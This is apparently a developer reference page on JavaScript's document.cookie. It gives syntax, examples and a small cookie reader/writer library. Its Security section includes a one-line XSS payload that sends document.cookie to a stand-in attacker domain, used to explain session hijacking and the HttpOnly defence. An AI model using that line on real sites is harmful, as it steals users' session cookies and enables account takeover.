Get and set the cookies associated with the current document. For a general library, skip to the dedicated paragraph.
Syntax
Read all cookies accessible from this location
allCookies = document.cookie;
In the code above allCookies
is a string containing a semicolon-separated list of all cookies (i.e.key=value
pairs)
Write a new cookie
document.cookie = newCookie;
In the code above, newCookie
is a string of form key=value
. Note that you can only set/update a single cookie at a time using this method. Consider also that:
- Any of the following cookie attribute values can optionally follow the key-value pair, specifying the cookie to set/update, and preceded by a semi-colon separator:
- The cookie value string can use
encodeURIComponent()
to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values).
document.cookie
is an
accessor property with native
setter and
getterfunctions, and consequently is
not a
data property with a value: what you write is not the same than you read, everything is always mediated by the JavaScript interpreter.
Examples
Example #1: Simple usage
document.cookie = "name=oeschger";
document.cookie = "favorite_food=tripe";
alert(document.cookie);
// displays: name=oeschger;favorite_food=tripe
Example #2: Get a sample cookie named test2
document.cookie = "test1=Hello";
document.cookie = "test2=World";
var myCookie = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");
alert(myCookie);
// displays: World
Example #3: Do something only once
In order to use the following code, please replace all occurrences of the word someCookieName
(the name of the cookie) with a custom name.
if (document.cookie.replace(/(?:(?:^|.*;\s*)someCookieName\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
alert("Do something here!");
document.cookie = "someCookieName=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";
}
A little framework: a complete cookies reader/writer with full unicode support
Sometimes, cookies being formatted strings, it can be intricate to deal with them in a natural way. The following library aims to abstract the access to document.cookie
by defining an object (docCookies
) that is partially consistent with a Storage
object. It offers also a full unicode support.
Library
/*\
|*|
|*| :: cookies.js ::
|*|
|*| A complete cookies reader/writer framework with full unicode support.
|*|
|*| Revision #1 - September 4, 2014
|*|
|*| https://developer.mozilla.org/en-US/docs/Web/API/document.cookie
|*| https://developer.mozilla.org/User:fusionchess
|*|
|*| This framework is released under the GNU Public License, version 3 or later.
|*| http://www.gnu.org/licenses/gpl-3.0-standalone.html
|*|
|*| Syntaxes:
|*|
|*| * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
|*| * docCookies.getItem(name)
|*| * docCookies.removeItem(name[, path[, domain]])
|*| * docCookies.hasItem(name)
|*| * docCookies.keys()
|*|
\*/
var docCookies = {
getItem: function (sKey) {
if (!sKey) { return null; }
return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
},
setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; }
var sExpires = "";
if (vEnd) {
switch (vEnd.constructor) {
case Number:
sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd;
break;
case String:
sExpires = "; expires=" + vEnd;
break;
case Date:
sExpires = "; expires=" + vEnd.toUTCString();
break;
}
}
document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : "");
return true;
},
removeItem: function (sKey, sPath, sDomain) {
if (!this.hasItem(sKey)) { return false; }
document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "");
return true;
},
hasItem: function (sKey) {
if (!sKey) { return false; }
return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
},
keys: function () {
var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
for (var nLen = aKeys.length, nIdx = 0; nIdx < nLen; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); }
return aKeys;
}
};
Fri, 31 Dec 9999 23:59:59 GMT
. If for any reason you are afraid of such a date, use the
conventional date of end of the world
Tue, 19 Jan 2038 03:14:07 GMT
– which is the maximum number of
seconds elapsed since since 1 January 1970 00:00:00 UTC expressible by a
signed 32-bit integer (i.e.:
01111111111111111111111111111111
, which is
new Date(0x7fffffff * 1e3)
).
Writing a cookie
Syntax
docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
Description
Create/overwrite a cookie.
Parameters
-
The
name of the cookie to create/overwrite (
string
). -
The
value of the cookie (
string
). -
The
max-age
in seconds (e.g.31536e3
for a year,Infinity
for a never-expires cookie), or theexpires
date inGMTString
format or asDate
object; if not specified the cookie will expire at the end of session (number
– finite orInfinity
–string
,Date
object ornull
). -
The
path
from where the cookie will be readable. E.g.,"/"
,"/mydir"
; if not specified, defaults to the current path of the current document location (string
ornull
). The path must be absolute (see RFC 2965). For more information on how to use relative paths in this argument, see this paragraph. -
The
domain
from where the cookie will be readable. E.g.,"example.com"
,".example.com"
(includes all subdomains) or"subdomain.example.com"
; if not specified, defaults to the host portion of the current document location (string
ornull
). -
The cookie will be transmitted only over
secure
protocol as https (boolean
ornull
).
name
value
end
Optional
path
Optional
domain
Optional
secure
Optional
Getting a cookie
Syntax
docCookies.getItem(name)
Description
Read a cookie. If the cookie doesn't exist a null
value will be returned.
Parameters
Removing a cookie
Syntax
docCookies.removeItem(name[, path[, domain]])
Description
Delete a cookie.
Parameters
-
The
name of the cookie to remove (
string
). -
E.g.,
"/"
,"/mydir"
; if not specified, defaults to the current path of the current document location (string
ornull
). The path must be absolute (see RFC 2965). For more information on how to use relative paths in this argument, see this paragraph. -
E.g.,
"example.com"
,".example.com"
(includes all subdomains) or"subdomain.example.com"
; if not specified, defaults to the host portion of the current document location (string
ornull
).Note: To delete cookies that span over subdomains, you need to explicitate the domain attribute inremoveItem()
as well assetItem()
.
name
path
Optional
domain
Optional
Testing a cookie
Syntax
docCookies.hasItem(name)
Description
Check whether a cookie exists in the current position.
Parameters
Getting the list of all cookies
Syntax
docCookies.keys()
Description
Returns an array of all readable cookies from this location.
Example usage:
docCookies.setItem("test0", "Hello world!");
docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity);
docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
docCookies.setItem("test4", "Hello world!", "Wed, 19 Feb 2127 01:04:55 GMT");
docCookies.setItem("test5", "Hello world!", "Fri, 20 Aug 88354 14:07:15 GMT", "/home");
docCookies.setItem("test6", "Hello world!", 150);
docCookies.setItem("test7", "Hello world!", 245, "/content");
docCookies.setItem("test8", "Hello world!", null, null, "example.com");
docCookies.setItem("test9", "Hello world!", null, null, null, true);
docCookies.setItem("test1;=", "Safe character test;=", Infinity);
alert(docCookies.keys().join("\n"));
alert(docCookies.getItem("test1"));
alert(docCookies.getItem("test5"));
docCookies.removeItem("test1");
docCookies.removeItem("test5", "/home");
alert(docCookies.getItem("test1"));
alert(docCookies.getItem("test5"));
alert(docCookies.getItem("unexistingCookie"));
alert(docCookies.getItem());
alert(docCookies.getItem("test1;="));
Security
It is important to note that the path
restriction does not protect against unauthorized reading of the cookie from a different path. It can easily be bypassed with simple DOM (for example by creating a hidden iframe element with the path of the cookie, then accessing this iframe'scontentDocument.cookie
property). The only way to protect cookie access is by using a different domain or subdomain, due to the same origin policy.
Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about Cookies and Security.
Notes
- Starting with Firefox 2, a better mechanism for client-side storage is available - WHATWG DOM Storage.
- You can delete a cookie by simply updating its expiration time to zero.
- Keep in mind that the more you have cookies the more data will be transferred between the server and the client for each request. This will make each request slower. It is highly recommended for you to use WHATWG DOM Storage if you are going to keep "client-only" data.
- RFC 2965 (Section 5.3, "Implementation Limits") specifies that there should be no maximum length of a cookie's key or value size, and encourages implementations to support arbitrarily large cookies. Each browser's implementation maximum will necessarily be different, so consult individual browser documentation.
The reason of the syntax of the document.cookie
accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, localStorage):
The server tells the client to store a cookie
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: cookie_name1=cookie_value1
Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
[content of the page here]
The client sends back to the server its cookies previously stored
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
Accept: */*
Using relative URLs in the path
parameter
The path
parameter of a new cookie can accept only absolute paths. If you want to use relative paths, therefore, you need to convert them. The following function can translate relative paths to absolutepaths. It is a general-purpose function, but can be of course successifully used for the path
parameter of a new cookie, as well.
Library
/*\
|*|
|*| :: Translate relative paths to absolute paths ::
|*|
|*| https://developer.mozilla.org/en-US/docs/Web/API/document.cookie
|*| https://developer.mozilla.org/User:fusionchess
|*|
|*| The following code is released under the GNU Public License, version 3 or later.
|*| http://www.gnu.org/licenses/gpl-3.0-standalone.html
|*|
\*/
function relPathToAbs (sRelPath) {
var nUpLn, sDir = "", sPath = location.pathname.replace(/[^\/]*$/, sRelPath.replace(/(\/|^)(?:\.?\/+)+/g, "$1"));
for (var nEnd, nStart = 0; nEnd = sPath.indexOf("/../", nStart), nEnd > -1; nStart = nEnd + nUpLn) {
nUpLn = /^\/(?:\.\.\/)*/.exec(sPath.slice(nEnd))[0].length;
sDir = (sDir + sPath.substring(nStart, nEnd)).replace(new RegExp("(?:\\\/+[^\\\/]*){0," + ((nUpLn - 1) / 3) + "}$"), "/");
}
return sDir + sPath.substr(nStart);
}
Sample usage
/* Let us be in /en-US/docs/Web/API/document.cookie */
alert(location.pathname);
// displays: /en-US/docs/Web/API/document.cookie
alert(relPathToAbs("./"));
// displays: /en-US/docs/Web/API/
alert(relPathToAbs("../Guide/API/DOM/Storage"));
// displays: /en-US/docs/Web/Guide/API/DOM/Storage
alert(relPathToAbs("../../Firefox"));
// displays: /en-US/docs/Firefox
alert(relPathToAbs("../Guide/././API/../../../Firefox"));
// displays: /en-US/docs/Firefox
Relative expiration-date: numeric examples
If you don't want to use an absolute date for the end
parameter, here you can find some numeric examples of expiration-dates relative to the moment of storage of the cookie:
docCookies.setItem("mycookie1", "myvalue1", 864e2, "/"); // this cookie will expire in one DAY
docCookies.setItem("mycookie2", "myvalue2", 6048e2, "/"); // this cookie will expire in one WEEK
docCookies.setItem("mycookie3", "myvalue3", 2592e3, "/"); // this cookie will expire in one MONTH (30 days)
docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will expire in one YEAR
Other examples
Example #3bis: Do something only once – a general library
Library
function executeOnce () {
var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string";
if (bImplGlob) { argc++; }
if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); }
var fExec = arguments[0], sKey = arguments[argc - 2];
if (typeof fExec !== "function") { throw new TypeError("executeOnce - first argument must be a function"); }
if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { throw new TypeError("executeOnce - invalid identifier"); }
if (decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) === "1") { return false; }
fExec.apply(argc > 3 ? arguments[1] : null, argc > 4 ? Array.prototype.slice.call(arguments, 2, argc - 2) : []);
document.cookie = encodeURIComponent(sKey) + "=1; expires=Fri, 31 Dec 9999 23:59:59 GMT" + (bImplGlob || !arguments[argc - 1] ? "; path=/" : "");
return true;
}
Syntax
executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, …[, argumentToPassN]]]]], identifier[, onlyHere])
Description
Executes a function only once, even after the refresh of the page.
Parameters
- The function to be executed ( function).
-
The
this
object ( object ornull
). -
The arguments of the
callback
function. - The identifier to check, i.e. the name of the cookie ( string)
-
A
boolean expressing whether the cookie will use the local path (
true
) instead of the global one (false
orundefined
) ( boolean orundefined
)
callback
thisObject
Optional
argumentToPass1, argumentToPass2, argumentToPassN
Optional
identifier
onlyHere
Optional
Sample usage
function alertSomething (sMsg) {
alert(sMsg);
}
executeOnce(alertSomething, null, "Hello world!!!!", "alert_something");
Specifications
Specification | Status | Comment |
---|---|---|
Document Object Model (DOM) Level 2 HTML Specification The definition of 'Document.cookie' in that specification. | Recommendation | Initial definition |
Browser compatibility
Feature | Chrome | Firefox (Gecko) | Internet Explorer | Opera | Safari (WebKit) |
---|---|---|---|---|---|
Basic support | (Yes) | (Yes) | (Yes) | (Yes) | (Yes) |